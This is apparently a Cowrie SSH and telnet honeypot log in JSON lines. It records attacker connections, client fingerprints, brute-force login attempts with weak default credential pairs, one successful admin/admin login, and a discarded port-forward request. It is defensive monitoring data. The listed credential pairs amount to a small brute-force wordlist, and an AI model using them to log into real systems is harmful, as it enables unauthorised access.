{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:58:45.935950Z","src_ip":"159.203.92.129","session":"eaf8b4bb6dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0176773071289,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:59:02.657320Z","src_ip":"167.250.105.129","session":"959545219d5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00202584266663,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:59:03.379977Z","src_ip":"167.250.105.129","session":"108659a66d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":11495,"dst_ip":"159.203.135.109","dst_port":23,"session":"f317345ef951","protocol":"telnet","message":"New connection: 167.250.105.129:11495 (159.203.135.109:23) [session: f317345ef951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:59:06.158845Z"}
{"eventid":"cowrie.session.closed","duration":120.00371146202087,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:59:09.078669Z","src_ip":"167.250.105.129","session":"2e846869a4e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":7556,"dst_ip":"159.203.135.109","dst_port":23,"session":"588e44052f47","protocol":"telnet","message":"New connection: 167.250.105.129:7556 (159.203.135.109:23) [session: 588e44052f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:59:12.472829Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38016,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8321cbd3ec8","protocol":"ssh","message":"New connection: 159.203.92.129:38016 (159.203.135.109:22) [session: b8321cbd3ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:59:29.919612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:59:29.924806Z","src_ip":"159.203.92.129","session":"b8321cbd3ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:59:29.930720Z","src_ip":"159.203.92.129","session":"b8321cbd3ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"1234qwer","message":"login attempt [admin1/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:59:29.944306Z","src_ip":"159.203.92.129","session":"b8321cbd3ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:59:30.967049Z","src_ip":"159.203.92.129","session":"b8321cbd3ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41904,"dst_ip":"159.203.135.109","dst_port":22,"session":"4af4f74c1090","protocol":"ssh","message":"New connection: 159.203.92.129:41904 (159.203.135.109:22) [session: 4af4f74c1090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:17.313634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:17.322222Z","src_ip":"159.203.92.129","session":"4af4f74c1090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:17.335078Z","src_ip":"159.203.92.129","session":"4af4f74c1090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"1qaz2wsx","message":"login attempt [admin1/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:17.368869Z","src_ip":"159.203.92.129","session":"4af4f74c1090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:18.415615Z","src_ip":"159.203.92.129","session":"4af4f74c1090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31468,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b6486eb11cb","protocol":"ssh","message":"New connection: 87.251.64.176:31468 (10.17.0.5:22) [session: 0b6486eb11cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:36.938880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:36.945941Z","src_ip":"87.251.64.176","session":"0b6486eb11cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:37.042648Z","src_ip":"87.251.64.176","session":"0b6486eb11cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:37.342540Z","src_ip":"87.251.64.176","session":"0b6486eb11cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:37.444631Z","session":"0b6486eb11cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:37.543787Z","src_ip":"87.251.64.176","session":"0b6486eb11cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:00:37.655732Z","src_ip":"87.251.64.176","session":"0b6486eb11cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42394,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3cb44021ba4","protocol":"ssh","message":"New connection: 159.203.92.129:42394 (159.203.135.109:22) [session: e3cb44021ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:02.019389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:02.040655Z","src_ip":"159.203.92.129","session":"e3cb44021ba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:02.047005Z","src_ip":"159.203.92.129","session":"e3cb44021ba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"1qaz@WSX","message":"login attempt [admin1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:02.144674Z","src_ip":"159.203.92.129","session":"e3cb44021ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:03.235910Z","src_ip":"159.203.92.129","session":"e3cb44021ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00426387786865,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:06.163017Z","src_ip":"167.250.105.129","session":"f317345ef951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":52422,"dst_ip":"159.203.135.109","dst_port":23,"session":"1015ae376743","protocol":"telnet","message":"New connection: 149.56.37.12:52422 (159.203.135.109:23) [session: 1015ae376743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:11.617449Z"}
{"eventid":"cowrie.session.closed","duration":120.0054988861084,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:12.478210Z","src_ip":"167.250.105.129","session":"588e44052f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":54438,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9bb8c611d4c","protocol":"telnet","message":"New connection: 149.56.37.12:54438 (159.203.135.109:23) [session: f9bb8c611d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:12.767506Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":54564,"dst_ip":"159.203.135.109","dst_port":23,"session":"856323767a3e","protocol":"telnet","message":"New connection: 149.56.37.12:54564 (159.203.135.109:23) [session: 856323767a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:12.878874Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":55392,"dst_ip":"159.203.135.109","dst_port":23,"session":"de6d6038f2b4","protocol":"telnet","message":"New connection: 149.56.37.12:55392 (159.203.135.109:23) [session: de6d6038f2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:13.381361Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":55464,"dst_ip":"159.203.135.109","dst_port":23,"session":"467bae85acc8","protocol":"telnet","message":"New connection: 149.56.37.12:55464 (159.203.135.109:23) [session: 467bae85acc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:13.428205Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":55510,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0756bd1f992","protocol":"telnet","message":"New connection: 149.56.37.12:55510 (159.203.135.109:23) [session: c0756bd1f992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:13.473507Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":55984,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d8130672d4f","protocol":"telnet","message":"New connection: 149.56.37.12:55984 (159.203.135.109:23) [session: 2d8130672d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:13.785093Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":56930,"dst_ip":"159.203.135.109","dst_port":23,"session":"31e8f3edce45","protocol":"telnet","message":"New connection: 149.56.37.12:56930 (159.203.135.109:23) [session: 31e8f3edce45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:14.331803Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":3323,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbae219aa519","protocol":"telnet","message":"New connection: 167.250.105.129:3323 (159.203.135.109:23) [session: bbae219aa519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:15.602832Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":34236,"dst_ip":"159.203.135.109","dst_port":23,"session":"67b84b356a3b","protocol":"telnet","message":"New connection: 149.56.37.12:34236 (159.203.135.109:23) [session: 67b84b356a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:17.677792Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":41876,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f7053d768a2","protocol":"telnet","message":"New connection: 149.56.37.12:41876 (159.203.135.109:23) [session: 3f7053d768a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:22.206832Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":44300,"dst_ip":"159.203.135.109","dst_port":23,"session":"1378aa34aadf","protocol":"telnet","message":"New connection: 149.56.37.12:44300 (159.203.135.109:23) [session: 1378aa34aadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:23.749079Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":47962,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f739a69dd7a","protocol":"telnet","message":"New connection: 149.56.37.12:47962 (159.203.135.109:23) [session: 6f739a69dd7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:25.917536Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":49570,"dst_ip":"159.203.135.109","dst_port":23,"session":"e611f4c9313b","protocol":"telnet","message":"New connection: 149.56.37.12:49570 (159.203.135.109:23) [session: e611f4c9313b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:26.930676Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":50690,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef6a1eb543a5","protocol":"telnet","message":"New connection: 149.56.37.12:50690 (159.203.135.109:23) [session: ef6a1eb543a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:27.644425Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":54228,"dst_ip":"159.203.135.109","dst_port":23,"session":"08c9003679c0","protocol":"telnet","message":"New connection: 149.56.37.12:54228 (159.203.135.109:23) [session: 08c9003679c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:29.565001Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":55718,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce929df8e0c7","protocol":"telnet","message":"New connection: 149.56.37.12:55718 (159.203.135.109:23) [session: ce929df8e0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:30.466084Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":55976,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c5ad8e161fa","protocol":"telnet","message":"New connection: 149.56.37.12:55976 (159.203.135.109:23) [session: 2c5ad8e161fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:30.572497Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"82c7db4f2c37","protocol":"telnet","message":"New connection: 149.56.37.12:56778 (159.203.135.109:23) [session: 82c7db4f2c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:31.005047Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":57556,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6d649cb737d","protocol":"telnet","message":"New connection: 149.56.37.12:57556 (159.203.135.109:23) [session: d6d649cb737d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:31.487864Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":58168,"dst_ip":"159.203.135.109","dst_port":23,"session":"010fb92910b2","protocol":"telnet","message":"New connection: 149.56.37.12:58168 (159.203.135.109:23) [session: 010fb92910b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:31.848965Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":58384,"dst_ip":"159.203.135.109","dst_port":23,"session":"900be62dbcb5","protocol":"telnet","message":"New connection: 149.56.37.12:58384 (159.203.135.109:23) [session: 900be62dbcb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:31.964218Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":33344,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ed02f8b5167","protocol":"telnet","message":"New connection: 149.56.37.12:33344 (159.203.135.109:23) [session: 3ed02f8b5167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:33.879416Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":33742,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5a223270792","protocol":"telnet","message":"New connection: 149.56.37.12:33742 (159.203.135.109:23) [session: e5a223270792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:01:34.182566Z"}
